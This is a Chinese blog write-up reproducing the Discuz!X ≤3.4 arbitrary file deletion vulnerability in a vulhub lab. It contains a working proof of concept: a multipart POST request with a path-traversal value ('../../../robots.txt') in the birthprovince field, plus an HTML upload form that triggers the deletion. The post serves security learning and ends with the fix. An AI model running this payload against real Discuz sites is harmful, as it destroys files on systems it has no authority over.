vulhub靶场复现~Discuz!X ≤3.4 任意文件删除漏洞

vulhub靶场复现~Discuz!X ≤3.4 任意文件删除漏洞

Discuz!X简介: Discuz!X社区软件1,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017年9月29日,Discuz!修复了一个安全问题2用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。

2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞3,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。

经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞

影响版本: Discuz!X ≤3.4

使用vulhub靶场复现此漏洞

docker-compose up -d

访问路径,进行安装Discuz

http://39.99.161.182/install/

安装时,只用修改数据库地址为db,其他保持默认即可:

在这里插入图片描述
安装完成后,访问http://your-ip/robots.txt可见robots.txt是存在的:

在这里插入图片描述
进入注册页面http://your-ip/member.php?mod=register进行注册,注册完成后进入个人设置页面

在这里插入图片描述
拿到自己的formhashvalue在这里插入图片描述
构造poc:

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

在这里插入图片描述
构造成功之后个人设置会出现修改的信息:
在这里插入图片描述
新建上传页面:

<body>
    <form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

修改ip地址、formhash、抓包修改成自己的cookie,不然有可能失败。
在这里插入图片描述
删除成功:
在这里插入图片描述

漏洞修复

1、升级discuz版本


版权声明:本文为qq_32171761原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。